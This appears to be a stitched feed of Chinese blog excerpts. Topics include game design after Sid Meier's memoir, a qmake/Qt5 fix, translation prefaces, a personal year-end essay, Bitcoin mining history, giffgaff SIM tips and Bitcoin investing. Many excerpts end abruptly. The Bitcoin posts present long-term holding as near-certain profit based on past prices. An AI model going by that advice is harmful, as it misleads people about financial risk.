这几天,读了本书《席德梅尔的回忆录》:《文明》是在陪产假中诞生的,它一开始更像是《铁路大亨》的延续,一个全球规模的《模拟城市》,一个实时模拟游戏。它开发了很久都没有找到正确的方向,一度项目被搁置。而重新继续这个项目后,经过了搁置期的思考,才试着将其改为回合制游戏。
席德还有款失败的作品《恐龙游戏》,他从 1991 年开始鼓捣这款游戏的原型,到 2000 年第 6 届 E3 展后彻底放弃。一开始几个版本像是恐龙版文明,核心玩法是基因衍化,但随机基因突变并不好玩;其后简化了复杂的规则,却变得很无聊。“好像不是你在玩计算机,而是计算机在玩你。如果游戏要一下子表达太多东西,那简化游戏设计会有帮助;但如果你在一款回合制游戏上投入了足够多的时间,你就会希望能够控制所有有趣的决策”。
回合制走不通,游戏原型转为了即时制。席德之前就有一款成功的即时制游戏《葛底斯堡战役》。但这个《恐龙争霸》却因为恐龙题材难以嫁接足够多的远程武器以至于无法平衡。
然后,这款恐龙游戏又演化成了口袋妖怪,或是更接近恐龙万智牌。平平无奇的“借鉴”让这款游戏毫无新意。卡牌形式很好玩,但是“这些卡牌的互动方式与《万智牌》太像了。如果你能加入自己的想法,那借鉴一点创意是可以的,但我从来不觉得恐龙游戏有足够多的新元素可自证清白。”席德忍受不了这一点,最终彻底放弃了这个项目。
当我重新拾起自己项目的思路,我觉得我希望它还是一款以策略(而非成长)为主的游戏。我希望单局游戏时间不长,而玩家会面对多种有意义的选择,没有最优解,而是在风险收益间权衡,为长期做规划,同时应对短期挑战(控制损失在可接受范围内)。游戏会有很多随机元素,随机意味着不确定行,玩家一定程度上是在做风险管理。这让想到《Rogue's Tale》,虽然从 steam 评价上看是毁誉参半,但我非常喜欢它。
如果投骰子产生的随机数难以把握,靠自己构筑卡组,以抽卡形式来控制随机性或许更容易接受一些。我很喜欢桌面游戏《Dominion》,所以第一次看到卡牌构筑形式的《杀戮尖塔》时就立刻爱不释手。我想可以考虑一下这种形式的策略游戏。在 steam 上用关键词搜索时,看见了《星际孤儿》。正好,它也是一款以太空船为主题的生存游戏。玩了一百多个小时后,我觉得非常对我的胃口。它也是一款卡牌构筑游戏。steam 评价不算太好,但我不赞同多数差评的意见:它其实不是一款看脸的游戏,虽然看起来系统会刷出一些难解的事件、商店里买不到需要的牌,但这恰恰是玩家需要做“风险管理”的部分。会玩之后,默认难度其实非常简单。真正的难度是从第四级难度开始,需要精心策划每张出牌。
它绝对不是又一个“杀戮尖塔”,其创新点在于“需要玩家持续规划几个回合出牌次序和组合”。而把规划周期拖长看,随机性的影响是微不足道的。玩家要做的是留足备用方案应对不同的可能,并用各种手段消除随机性增加确定性。同时,某个时候不打某一张牌这个决策的重要性就提升了。这在杀戮尖塔类游戏中是比较少见的。
我很喜欢这个游戏策略性带来的感觉,当然,我也不想换个皮再做一个,更不是再来一个杀戮尖塔。只是想到用卡牌形式来玩游戏比较有趣。
初步的想法是设计一些足够简单的卡片,用卡片组合的方式来触发游戏中的行动。把卡片分成几类:房间卡、行动卡、物品卡、船员卡。大致对应地点、行动主体、行动对象和动作。打出一串卡片来完成各种操作。例如,在空房间安装一台机器,需要指定位置的房间卡,安装这个行动,需要的机器卡;而机器则是通过(装有生产机器的)房间卡,操作行动,蓝图和材料卡片可以创造出机器卡放入卡组……
而系统扮演的是一个不对称规则的对手,由设计者实现设计好一个个情景的卡组,洗乱后以机械规则一次打出。玩家就可以看到系统发出的陨石、磁暴等等危机以卡片形式打出。
在游玩过程中,玩家还是在指挥着船员在太空船上进行建造、科研、制造、休整、战斗这些工作,只不过以打牌的形式表达。因为行动被拆解为简单元素,类似 RTS 那样点选一个单位,选择行动及其目标被拆解为多张卡片;每张卡片只有一些基本元素,但组合能表达的行动会很丰富,这样卡组不用太大,避免了巨量卡片组成的卡组不可控,而抽卡机制又保留了一些随机因素。多张卡片的组合使得玩家需要规则几个回合的操作:保留哪张,丢掉哪些,筹齐想要做的事情。
卡牌形式的一个优势是可以先做一套实体卡来试试玩法。现在有《Tabletop Simulator 》这样的神器,根本不需要剪刀和画笔。
btw, 似乎卡牌游戏用不到 3d 场景。接下来我还想找个时间好好为 Ant 实现一套 2D 管线,或者直接从里面抽出需要的代码来,重新做一个简单的 2D 引擎。
最近重新搭建了一套 Debian 系统的开发环境,使用 qmake 编译 pro 文件时,提示了标题中的错误。检查qmake 文件,发现以下信息:
/usr/bin/qmake -> qtchooser
这是因为系统提供了两套 Qt 开发环境,比如 Qt6 和 Qt5 等,因此需要指定默认采用哪一套。网络上的解决方案大多数比较粗暴,手工修改 /usr/bin/qmake 的文件链接,链接到真实的 qmake 文件即可。
但实际上系统提供了更简单的方式,比如我们默认采用 Qt5 的开发环境,则使用以下命令:
sudo apt install qt5-default
本文是一篇旧文。最早是作为知乎的独立文章发出去的——果然没什么人感兴趣,这么久以来,现在咱也算是半退乎了。最近刚好又在选译、纯手译一篇巨震惊的文章(各位敬请期待),于是想着把以前这篇稍微改改放上来算了,估计反正也不会有人看的。
好吧,就这样。以下是旧文章内容。
本篇文章是刊登在非盈利机构 edge.org 上的英文访谈辑要的翻译。原文地址:WAITING FOR “THE FINAL PLAGUE” - edge.org。翻译经 Edge.org 编辑 Russell Weinberger 授权。
译者按:这篇论文最早是微信公众号「Nature自然科研」在每周新闻中推送给我的,是刊发于2019年11月号《自然:生态学与演化》(Nature Ecology & Evolution)上的「观点(Perspective)」文章。我前天一个晚上看完了,看完总有种大脑升级的感觉,幼小的心灵受到了极大的震撼……. 花了三天,选译了几个比较有意思、比较重要或者单纯比较令人震惊的段落,放上来,各位当个“奇文共赏”就好。
论文原文:Monk, J.D., Giglio, E., Kamath, A. et al. An alternative hypothesis for the evolution of same-sex sexual behaviour in animals. Nat Ecol Evol 3, 1622–1631 (2019). https://doi.org/10.1038/s41559-019-1019-7
译者对原文内容、价值观不负责任,仅对翻译本身负责。
以下是选译的段落。译文中省去了所有的引用注记,并以 [粗体方括号] 标明跳过不译的段落。译文中粗体和斜体均为译者所加。
本文是一篇小作品。
本文引用并翻译了在 HOPL III 上发表的论文 Self(DOI: 10.1145/1238844.1238853)中的倒数第二节。在 ACM Digital Library 收录的所有 HOPL(History of Programming Languages) 论文中,这篇论文的下载量排到了第八位。
我将要引用并翻译的段落出自论文的倒数第二节 “8. Conclusion”(8. 结论) 。在读完全文后,我在我的私人群里如此表达我的感受:
本文是一篇「小作品」
这次要是还写巨长我就吃了渚薰((((大雾)
Typeclass 范式是对于 表达式问题 Expression Problem 的一个重要的解。在我了解的编程语言范式中,个人认为,typeclass 范式是较为优雅的一个。本文将简要考察这一范式本身,以及更加重要的:它在各种编程语言中到底如何落地。具体而言,本文将在各种落地语言中构造同一个示例:一个类似 Ruby 中的 Comparable mixin,或者 Java 中的 Comparable 接口,并且演示这些结构如何对既有的类型同样具备可扩展性。
阅读本文需要一定的代码基础,尤其是对 typeclass 范式的认识和相关的编码经验。本文并不会对文中的举例作详尽解释。
一直打算自己写博客的一套前端和后端,前端本来已经写了挺多的了,现在看来是要搁置很长一段时间了… 感觉折腾这些毕竟没啥用,还是要花时间写文章才行。。
他在本世纪顶住了历史潮流,独自继承着源远流长的警世文学。他怀着顽强、严格、纯洁、肃穆、热情的人道主义,向当今时代的种种粗俗丑陋发起胜负未卜的宣战。但是反过来,他以自己始终如一的拒绝,在我们的时代,再次重申反对摒弃道德的马基雅维利主义,反对趋炎附势的现实主义,证实道德的存在。
大概两个星期以前,被朋友问到了一个问题。她问我:如果明天就是世界末日,你有没有什么想做的事?
她自己的回复是要立刻到重庆(原话大意是 “不管发生什么我都要立刻飞过去”)去吃正宗的重庆火锅,因为在这边吃到的所有火锅都不怎么样。她说,这种回复其实表明她并不对自己当下的生活感到全然满意,因为明天就是世界的终结也会想去「最后疯狂一把」,而如果是真正满意自己的生活的话,回复应该是 “该怎么过就怎么过” 才是。
这几天我也一直在想这个问题。如果明天就是世界末日,我又会去做什么呢?
和这里的许多文章一样,本文的标题依然是仿照了某篇令我印象深刻的文章的标题。:-)
最近考完试就在忙课设,这两天才终于有时间把这篇文章写完…
「时间之矢向前飞逝 / 祂飞离时震颤的双翼总拍伤我的灵魂」,几个月前读到的这句诗如今无论是它的作者(是里尔克吗?)还是其全貌都已无从知晓,只觉得以这句想象力奇绝的诗句概括行将结束的整整一年,确实恰如其分。
写下上一篇年终总结(不知为何我很不喜欢「年终总结」这个词——如你所见,标题很努力地做到了不用这四个字)至今已有一年有余,而 2021 这一年,可以说是空前的烂漫和精彩。这一年,无数美好的事情,以我此前从来不敢想望的方式,完全不可预料地扑面而来(未来像盛夏的大雨,在我们还不及撑开伞时就扑面而来1):今年的许多许多段回忆都是出奇的美好,它们是如此的弥足珍贵,冥冥之中我总觉得,即便是以一个人整整一生的时间尺度来衡量,这些回忆都将在时间的长河中熠熠生辉,就像华兹华斯笔下那些总能「让我们在困顿之时为之一振」的「卓越超群、瑰伟壮丽的若干时间点」2。
可是,正当世界向我们显露它那丰富多彩的衬里的同时,祂却又向我们徐徐展开了一副人们受苦受难图景的画卷。大三上已经结束,大家突然都紧张了起来,似乎才刚品尝到青春这甘醇甜美的琼浆,就要去体会人们这毫无意义地辛苦劳作、不得休息的无望图景。人们出于经济富足、出人头地等种种平凡低微的原因,在日常生活中从事各个琐碎、侮辱人才能又耗费人精神的工作,无论是不是心甘情愿,都要在就在这无尽的琐事中逐渐被「磨损」,逐渐只觉得,生活,永远在触不可及的地方,因为「此时此刻」永远是那么的无聊、那么的缺乏诗意、那么的死气沉沉——生活永远不在这里,因为生活永远在别处。
这是另一种迷惘。人总要在不断的学习中成长,可是只有很少的人能够对一个领域怀有足够纯洁的热诚,从而主动地学习并自得其乐;任何成就的取得都需要决绝的努力,可是人们很难为一个虚无缥缈、触不可及的目标和「理想」长久地坚持,并摒弃种种安逸的生活方式。时日无多,回首你这过去的日子,几乎都在随性而为的自由和放纵中度过,你是否已经失去了(甚至是从未拥有过?)沉着刻苦的品格?考研还是工作?你能坚持下去吗?曾以为坦荡无比的生活最终坍缩(是的,在目光的观测下)成区区几个选择而已,怎样做你才不会后悔?在被抛入 “就像海洋的生活”(广东孩子请会意地笑笑)之前,你还要做些什么?你到底想要怎样的生活,又到底是否有相称的品格和毅力来得到它?
我依然没有答案。或者确切的说,自从一个月前学期仿佛是毫无预兆地结束以来,我一直在逃避这些问题,因为我实在是无从回答。我只希望当我完成本文,为这飞快过去的 2021 做完注时,我能有一丁点儿的头绪。
我有一个非常、非常、非常不好的习惯,那就是喜欢沉浸在深刻、反复的自言自语中,不断地与现实中并不存在的、永远忍受永远包容的倾听者对话。显然这并不实际——并没有能一直忍受我烦人聒噪的慷慨之士。危险之处在于,我自己会经常陷于这样反复的自我对话当中,导致长久持续的失眠,以及更加危险的,一种单调思想的不断反复叠加最终造成极度不理智的言行。
所以昨晚就发生了这样的事情(事实上回家以来这经常发生,令我十分绝望——奇怪的是在学校并不会这样),辗转反侧、自我对话直到四点多彻底睡不着觉,于是起来将自己乱七八糟的思绪记录一二。
这就是这篇文章的由来——事实上我认为理想的形式应该是作为“访谈”,由一位永远忍受永远包容的倾听者记录并编辑,但显然本垃圾并没有这样的社会地位和条件= =。所以,本文是以一种“访谈”,或者说是“随笔”的形式组织并行文的,你应该已经从标题中看出了本文话题的跳跃性——正是如此。
创作本文的动机是作为一种价值观输出。我可能会引用多个领域的各种文献(见文末)以期使读者对我的观念有更好的理解,但我并不了解这些领域中的任何一个,正因如此,我的观点难免片面偏颇;考虑到本文是作为一篇自我陈述而非观点论证组织和行文,关于这一点,还请读者理解。
Update 2021.1.10:
本文主要内容是一篇旧文,以及一些有关2021的文字。
最终还是打算把文章贴到博客上来(其实是一直忘了),做了一些修改,补了一些最近的我与科幻的故事。
顺便这篇短文的一个选段居然还真在SFW2005的《回声》专栏上刊出来了…… 然而选的是现在看来比较尴尬的一个段落,感觉是真的羞耻(((以下内容(直至文末的分割线)作于2020年2月份,经少量修订。文末有关2021的内容作于今日。
Every time programmable hardware programming is mentioned, Verilog or SystemVerilog comes to our mind — such fact, IMHO, is ironically contrasts with another interesting, if not consensus, but at least first impression of those hardware newbies just like me, that the fundamental software and development toolkit in hardware programming field is far from diverse, mature and easy-to-use. Comparing to software engineering, there are not too much languages, tools or methodology to let you pick and choose, even among the limited available choices, most of them are either lack some important features, or just too expensive to investigate. Undoubtedly my first step towards FPGA, looking around and pick a combination of language, simulator and testing method, is a brief journey, but it also involved too many investigation as well as unexpected disappointment, which makes this journey more difficult, and more tiring. This article is intended to outline some of my conclusion, which is what I’m using now, and what I have used but quited.
在比特币当初发布,并且开始运行的时候。中本聪虽然提到是要构建点对点的去中心化系统,而实现这一个过程,就是越来越多人参与。并且是越来越分散,最好是能做到全球每个国家都有一些参与者。
当然更要避免出现“作弊”,比如某人或者某机构把持绝大多数的参与节点。这样就失去了去中心化的意义,反而成了一家独大,或者几家独大了。有知情的小伙伴可能说,现在比特币就是几大矿池掌握了几乎全部的算力。是不是一种中心化的方式呢?咱们一会聊到。
不管是在中本聪的那个时候,还是现在,都很难做到绝对的1人1票。要不然他喵的为啥我抢不到演唱会的门票?要不然为啥那些所谓的秒杀,在毫秒间就被神秘的力量买走了?我甚至才刚刚刷新页面。
身份证号是唯一的对吧?但是人家就有办法搞一堆真或假身份证号来霸占名额。你说IP是唯一的对吧?那就买上几百台,几千台二手手机,插上sim卡用流量。不管怎么限制,都几乎没办法做到绝对的机会均等。
不过,还好比特币当初只是一个实现项目,并没有太多人关注。而且中本聪也很巧妙的按照CPU来当做证明。CPU就是每台电脑里的计算芯片(一般每个电脑只有一个),一个CPU代表一“票”,你就可以成为比特币去中心化网络里面的一个节点了。并且当时并不是那么消耗资源,可以一边开着比特币的节点挖矿,一边用着电脑,平安无事。
但后来,参与的“节点”越来越多。有人发现使用GPU(就是电脑里的显卡芯片,大多是独立的设备)来挖矿,毕竟挖矿机是在做哈希运算。而GPU(显卡)可以有更多的并行计算能力,一个GPU在当时相当于几十个CPU。越高的算力,就意味着可以获得更多比特币奖励。这时候想成为比特币的节点,门槛就提高了一点点。
而在GPU挖矿的过程中,又有大神开始改进升级。把GPU做成了集群,也就是说,一台电脑可以管理几十个GPU。这时候就已经有一种专业挖矿的雏形了。大概如下图所示:
这时候,比特币也已经算是知名度起来了。在巨大的利益驱动下,比特币网络颠覆式的挖矿模式诞生了,并且主宰至今。那就是ASIC挖矿,当然在GPU到ASIC挖矿过程中,也短暂的出现了FPGA挖矿方式,感兴趣的可以去自行搜索。
这里插一句,所有因为显卡价格暴涨而怪罪比特币的,属于是骂错人了。因为比特币只有短暂的显卡挖矿经历。显卡暴涨是因为隔壁的以太坊,所以不要再给比特币脑袋上乱扣罪名了。
自从ASIC诞生,比特币挖矿正式进入真正意义上的“军备竞赛”。从此比特币不再是极客圈的小众项目,更不是普通人可以随便参与的挖矿游戏了。围绕比特币挖矿的生态从一小片树林,变成了亚马逊雨林。
ASIC的早期矿机算力,就已经轻松超过GPU的几十倍,甚至上百倍。而ASIC的设计原理非常简单,就是为了高效完成更多计算,去除了无关的电路模块,尽可能的叠加只为了提升算力的芯片。当然,其中复杂程度,也请您自行理解,就不展开讲了。
总之,ASIC矿机的出现,直接把比特币的算力提升到了恐怖如斯的高度。挖矿自此成为了一个产业。上游诞生了芯片设计公司,制造公司,中间是各大矿池,算力平台等。下游就是在市场交易比特币的平台与用户。
ASIC矿机的优势是高速高效的进行比特币挖矿,而不足就是,只能用于比特币挖矿。如果不能用来挖比特币,就是废铁一块。并且这类矿机,基本上每年升级一次,以及还有其他的矿机生产商互相竞争。所以,我说“军备竞赛”一点也不夸张。
没想到一不小心又写了这么多,那明天就继续聊聊比特币矿池的故事。正好今天周六,周末就聊点轻松的,你说对吧。
推荐阅读:
“首先,设计师创建了一些游戏机制。然后,他们把这些游戏机制用一些具有代表性的虚构元素包装起来。在游戏过程中,这些机制之间会产生一系列事件。这些事件会触动玩家潜意识中的触发器,从而激发出情感。最后,这些情感交织到一起,变成了一种综合的体验。” —— Tynan Sylvester 《Designing Games: A Guide to Enginerring Experiences》
我非常认同 Rimworld 作者 Tynan 对电子游戏的定义:游戏是一种制造体验的人工系统。游戏用一种工程手段制造体验,目的是激发人类的情感。在《体验引擎》的书中论述,追踪情感的真正源头非常困难,因为情感的触发由大脑的潜意识处理,自动表达的。即使不知道为什么会产生某种情感,我们的理性还是会想当然的为之安排一个原因。这些想当然的原因往往是错的。这种现象被称为情感错位,因为情感错位的存在,想要了解游戏如何影响我们是十分困难的事情。
我最近把游戏开发工作中的具体实现停了下来。因为我意识到,游戏核心固然是设计一些机制,程序实现可以把这些机制做出来并加以测试,但游戏机制只是手段而不是目的。我对游戏设计的理解还不够,所以还需要继续以设计游戏的角度去挖掘游戏深层次的东西。以游戏爱好者的角度去玩那些好评如潮的游戏体会游戏带来的乐趣是不够的,还需要多玩一些毁誉参半但制作者有自己想法的作品。当然,还需要回避一些仅仅是把已有游戏换一个虚构层做出来的仿冒品。
成为好的 Designer 之前,必须做一个更好的 Gamer 。我相信自己比之前是一个更好游戏玩家。因为相比之前,我可以更快的学习游戏规则,忽略游戏的表象,直接去感知作者想表达的东西。玩一些 steam 上只有几个评价且好评率不高的游戏,即使是半成品,对我来说也不算是太难的事了。具体游戏的评价,我大多直接写在 steam 上,而这里,我想记录一些最近想到的比较形而上的总结。
对于非社交属性的单人游戏,我认为有三个设计方向:目标、挑战、沙盒。
第一,设计者设计了一件步骤繁多的事情,让玩家在游戏规则(机制)内,一步一步的完成这件事。玩家在游戏过程中获得的长期体验,很大程度来源于有一个预设的目标,一步步抵达终点。
我过去非常喜爱的 JPRG 类型就是典型。近两年玩的比较多的 Factorio ,尤其是星际探索 Mod 也是如此。完成游戏目标这个过程,虽然主干是设计者设计的,但整个路线则可以让出一些不确定的部分让玩家自己填充。另外,我花的时间很多的(数值成长)放置类游戏更是如此。在游戏过程中,游戏者在意的是我在推进游戏进程,最终有一个完结。往这条路线设计的游戏,通常不具备重玩价值,但可以把单次游戏时间设计的很长。例如异星工厂的星际探索 Mod ,我就玩了 1000 小时以上。虽然像 JRPG 几乎都设计了二周目,甚至多周目玩法,但并非真正的重玩,而是为喜欢这个游戏过程的玩家额外设计的延长线。
在这个思路下,是否有战斗系统,战斗系统偏重策略性还是操作性;是基于故事线的角色扮演,还是上帝视角的基地建设,或是自动化工厂…… 这些不同的游戏机制都是为其(玩家一步步推进游戏进程直到完结)服务的。所以,在游戏机制设计的同时,同时设计好在这个机制下玩什么同等重要。后者就是所谓的关卡设计工作。
我在很多年前制作过一款(网络)卡牌对战游戏。游戏规则几乎照搬的卡片召唤师(CULDCEPT)。一开始的想法是,卡片召唤师是一个非常有趣的卡牌对战游戏,如果我们搬到网络上让玩家有一个平台玩应该是很有趣的。为了方便玩家学习复杂的游戏规则,我们制作了对规则逐步深入的多场和系统对战的教学关。当时让我费解的是,大部分(70%)注册用户在玩完长达几个小时的教学关后就离开了游戏,甚至没有尝试和人对战过一次。如果说游戏不好玩吧,这些玩家大多又没有在教学关之间流失。这些教学关设计得并没有太大挑战,在我看来只是体验流畅,并不生硬的传达了教学任务,但并不好玩。花上几个小时,好不容易学会了一个不算太简单的卡牌游戏规则,为什么不想和人玩上一盘呢?我现在的回答是:这个教学任务本身就是一个目标感很强的游戏,哪怕它不好玩,但完成目标这件事都足以驱使玩家完成它。至于后面的人和人的对战,那是完全不同的另一类游戏体验了。
第二,设计者设计了一套规则,并辅以随机性元素生产关卡,让玩家完成一个个挑战。因为随机性元素的存在,玩家需要根据自己对规则的理解,每次都需要重新判断如何应对。玩家在游戏过程中获得的体验,以学习和能力成长为主。获得信息,有所领悟。应对挑战,由失败而激发斗志。
最近几年流行的 Roguelike 元素游戏都可以归为此类。也包括各种生存类游戏。这类游戏的单局时间不会太长,玩家把单局游戏看成是一次短期的挑战任务,随机性元素或精心设计的关卡让玩家检验自己对游戏机制的理解。如果可以引导玩家进入心流状态,单局时间拉得很长也没关系。例如著名的再来一回合文明系列。
这类游戏通常更注重重玩价值。随机性在这里是一个非常重要的元素。这里的随机性指的是游戏机制中的变量,它其实未必是用随机算法任意组合出的东西。只是表示游戏机制中有许多变量参数可供组合变化,玩家需要充分理解机制,才能应对挑战。所以像 baba is you 这样的 puzzle game ,我也把它归为此类。它的关卡并不是随机产生,都是作者精心设计的。我花大量时间玩这种 puzzle game ,并不是为了通关,而是想尝试不同的挑战。
这种游戏对玩家的终点是彻底理解了游戏机制。但设计者如果长期开发的话,可以通过不断扩展和完善游戏机制让玩家一直保持游戏乐趣。
第三,游戏只是一个沙盒,在一套自洽规则下的模拟。在过去,我无法理解像 Townscape 这样仅仅只是随便搭几个房子的模拟器为啥能被称为游戏,且好评如潮。而像 minecraft 这样火爆全球的游戏,很多玩家仅仅只是在里面搭搭积木。玩家自己随意的规划目标,然后自己完成这些目标。游戏本身仅仅充当了一个沙盒模拟装置。
我对此类游戏提不起太大的兴趣,但似乎又无法将其归于上面两类之中。但想想我在异星工厂中曾花掉几十小时就是为了设计一个全自动生产并方便扩建的工厂,似乎也很符合这类游戏提供给玩家的体验。
这三类游戏的设计方向并非互斥。好的游戏往往可以同时提供不同方向上的体验,只是有所偏重。我现在分析游戏设计时,倾向于把它作为最高层次的分类标准,然后再给游戏贴上诸如银河城、平台跳跃、基地建设、自动化、RPG 等等标签。
giffgaff 成立于 2009 年 11 月 25 日,是一家总部位于英国伦敦的移动虚拟网络运营商,为 O2 全资子公司,因此 giffgaff 使用 O2 的网络,享有 O2 相同的 99% 网络覆盖率,且可访问英国 193 个城镇的 5G 网络。
激活后的号卡需要每 180 天内进行一次消费以进行保号,若长时间未消费,会收到警告邮件,请按邮件提示进行操作,不予理会将被销号
参考 https://www.giffgaff.com/help/articles/how-do-i-turn-voicemail-on-or-off ,在手机拨号盘输入
##002#
并拨打,即可关闭语音信箱。
在手机拨号盘输入
*100#
并拨打,即可快捷查询到话费余额。
NUMBER
到 43430
*100#
##002#
-打开语音信箱:
直接拨打 **61*443*10*20#
by yangpeiyuan (i@yangpeiyuan.com) at October 10, 2024 02:40 PM
以事后诸葛亮的角度来看,一个100%持有比特币盈利的方法就是,拿住持有5年以上。就按5年前的2019年10月9日,比特币价格是8,627美元。而今天比特币价格是62000美元,相差大概7.2倍。平均这五年的每年投资回报率是47%,你就说吓不吓人?
而再往前推,我给你看一个数据(价格数据来自互联网)
2017年10月,比特币价格4367美元。2022年比特币价格20340美元。这5年实现了资产3.6倍的增长,平均年化收益率37%。
2018年10月,比特币价格6622美元。2023年后比特币价格26874美元。这5年也实现了资产3倍的增长,平均年化收益率32%。
在中国,年化收益率在4%就已经是非常高了,达到6%就稍稍带点风险的债券基金了,超过8%就已经被普遍认为是“骗局”和“诈骗”了。
再次提醒,在中国大陆境内目前交易比特币是违法行为,而且不局限于比特币,任何数字货币交易都不得到法律的保护与认可。切勿盲目相信任何人,包括我。
所以作为普通人的我们,如果以后有机会合法合规的购买比特币。如果你没有拿住5年的信念和决心,建议还是别买了。
如果打算持有5年,任何时候买都是抄底。
如果打算持有3年,请自行判断底部。
如果打算持有1年,请立即清仓卖出。
如果打算持有1月,同上
如果打算持有1天,拿这个钱去医院挂个脑科
从我个人投(机)资角度理解,买比特币并不像买股票,买基金,甚至买黄金等一切资产。在我狭隘并且浅薄的认知里,世界上的投资品只有两种,比特币和其他。比特币没有一个实际的法人,实际的创始人来为此负责。更不存在什么财务报表,或者你可以理解为比特币的整个网络财务数据是完全公开的,于是也就不存在什么财务造假。更不涉及搞什么天使投资,A轮融资,也就没有什么投资回报承诺。
如果谈分红那就更是扯淡了,你可能会说,黄金也不分红呀。但是你要知道,黄金丢了还能找回来,比特币丢了那就真的是彻底丢了。而且如果谁的比特币真丢了,那间接等于在为比特币做贡献,为所有持有比特币的人“分红”。
绝大多数资产靠着大量的流动性来实现自身的“升值”,也带动了证券,交易所的手续费收入。而比特币其实是靠着很多人锁定流动性从而“升值”。这就是为什么比特币的价值具有极大的不确定性和风险性。
但任何风险和不确定性,都要放在长期来看。如果拉长周期,很多不确定性和风险性也可能会逐渐被市场所消化和适应。比如比特币初期也出现过漏洞,被人发现可以凭空生成几亿的比特币,但好在当时比特币尚在初期阶段,快速的完成代码修复。如果放到今天,恐怕就是史诗级的灾难了(但也是机会)。
同样,在我狭隘并且浅薄的认知里,比特币的风险和不确定性已经转移。经历过版本更新,扩容之战,分叉闹剧,政策打压这些系统性的抗压测试后,比特币已经足够抵御任何威胁。这里插一句,以后的文章我会慢慢普及一些比特币的技术原理,来用事实证明比特币为什么难以被摧毁。动不动就张嘴闭嘴比特币随时会被关闭,会被攻击,会被盗走的,还有什么量子计算机威胁的。咱们慢慢交流,请用脑子思考问题,有理不在声高。
那比特币的风险和不确定性转移到哪里了呢?转到了持有人的这边,当你刚刚购买,就看到3根大阳线,直接浮盈10%的时候,你会不会心动?当你看到“暴跌”10%的时候,会不会愁的睡不着觉?甚至购买的时候,是否还在纠结,要不要等再跌5%再买?
“这才叫暴跌”
金子是凉的,抓在手里是热的。其实不是金子在发热,是人的手在发热。是所谓风吹旗动,不是风在动,也不是旗在动,而是你的心在动。我不是在劝各位,而是把我之前的那种刚入场的激动冲动,迷茫失落,所经历的,分享给各位。
真正进入币圈,你就会发现比特币也并非万花丛中一点红。而是乱花渐欲迷人眼,令人方寸大乱,神魂颠倒。那时候则自然什么投资的金科玉律都成了屁话,而世界也总是成败论英雄,投机成功就是投资,投资失败就是投机。每年都在重复,每天都在上演。
不要去拿自己无法驾驭的“财富”,不要听了别人分析就要下场“梭哈”,投资自己的大脑永远比抢先出发更重要。流水不争先,争的是滔滔不绝。事缓则圆,谁先急了,谁就输了。未来依旧有机会,如果你真的能持有比特币5年不动,那么任何时候都是熊市,任何时候购买都是抄底。
在未来的某一天,我相信中国大陆一定会开放比特币交易的市场,不管是直接的方式还是间接(数字债券/基金/机构代持)的方式。所以,耐心等待吧,该吃吃该喝喝,顺便别耽误了解比特币,成长自己。
推荐阅读:
在大家怀着激动的心颤抖的手打开这篇文章的时候,我们先把“财富自由”这个概念试着尽量清晰一下。有的人觉得10个亿都不算财富自由,有的人觉得1000万就够财富自由了。所以单纯的拿钱来衡量很难得出一个大家认可的定义。
我觉得可以从两个层面来确定一下:财务层面,生活层面。
财务方面,你的财富要足够安全,不能说今天账上1个亿,明天变成100块了;还有要有足够的资产净值,说得直白点就是扣除你的欠款以后银行卡,支付宝,微信钱包的余额;当然最重要的,你是有被动收入的,并且完全覆盖你的各种生活支出。
生活层面,你的时间足够自由,不是金钱的奴隶,想干嘛就干嘛,想去哪就去哪;你能够选择工作或事业而非被迫,甚至去做别人眼中看起来毫无回报率的事情;有好的生活品质,可以长期住在舒适安心的环境中,并且享受优质的教育,医疗资源,不必担心会失去这样的品质与环境。
同时再结合你所在的城市生活成本,我想你大概就能算出你想要财富自由需要多少钱了。但有一点,通过上班大概率是没戏的,至少对于普通人来说。毕竟上班的风险太低了,你的预期回报太稳定了。工资不是你的劳动价值体现,而是公司对你个人预期的估值。
其实每个职场人都有自己优秀的地方,但公司机制里面,不需要优秀的螺丝钉,只需要普通的按部就班的螺丝钉。公司对员工的要求不是个性,不是单项突出,而是听话,按要求做事,哪怕那个规章制度跟裹脚布一样,又臭又长。
并且职场会同化或者说弱化一个人的能力,慢慢的对公司外的事情就失去了兴趣。我之前在的一家公司,工资也好,福利待遇高,专车接送,公司美女成群。但那时候没人关心淘宝在做什么,淘宝店怎么开,而且我部门的大领导批评我看没用的。而后来我就果断离职了,结果3年后,公司也开起了淘宝店,天猫店。
不管是工地搬砖,还是公司里面做PPT,都是在用体力,脑力赚钱。而想财富自由,就必须让钱来赚钱。当然,还有可以娶一个白富美,或者嫁一个富二代,这样小概率的事情就不算了。那么怎么才能让钱生钱呢,最好的办法就是投资。可以投资实体,也可以投资股市,黄金,包括数字货币。
投实体算了,咱没经验。就聊聊投资非实体的方式实现财富自由,请注意,投资有风险,我仅仅是表达个人观点,不推荐你参与任何高风险的投资。
之前有人说比特币是骗局,其实也没错,我也可以说黄金也是骗局,房地产也是骗局。世界的金融秩序,经济系统本身也是一个骗局。但只要有人愿意买,有人愿意卖,并且基于相对公开的市场,这个骗局就不会有倒台的一天。
如果你100万买的房子,现在只能卖5万,你说房产是不是骗局?如果你10万买的黄金,现在只能5块钱一斤回收,你说黄金是不是骗局?如果你45万买的比特币,现在无处交易,你说比特币是不是骗局?
把骗局换个更加温和中性一点的词,泡沫。你说哪个行业没有资产泡沫呢?不然为啥动不动就蒸发,动不动就爆仓呢?不还是泡沫破了么,所以太较真,只有非黑即白的二元论的人,在市场很难赚到钱。当然,我希望所有我的读者朋友都能赚到钱。
回到正题,投资什么才能让你财富自由呢?
1.生命周期足够长的资产。普通人投资,就不能看那些短期内百倍增长的资产,里面必然是庄家控盘,或者联合下套。这在币圈太常见了,几分钱的东西,不到1个月,能增长百倍,甚至千倍。可是清仓归0也就是一夜之间,甚至几秒。币圈的交易所可是24小时不眠不休的,而且有些项目,只需要几十万或者几百万就能锁定流动性,分分钟拉盘起飞,然后收割退场。所以,你不能期待短期内的高倍收益,要能确定你投资的资产“活”的时间会很长。这永远是第一参考标准。
2.设计合理的收益目标。不要说上来我就投入10万,放着不管等它变成1000万,变成1个亿。这也不能说不合理,但是根据第一条标准,能活的足够长的资产,翻100倍恐怕有点难度哈。但是如果说,我投10万元,等浮盈15万,也就是变成25万,我就卖掉10万,等下次大跌的时候抄底用。那这个就算一个合理的收益目标,而且如果确定就必须要执行。排除噪音,杀伐果断。
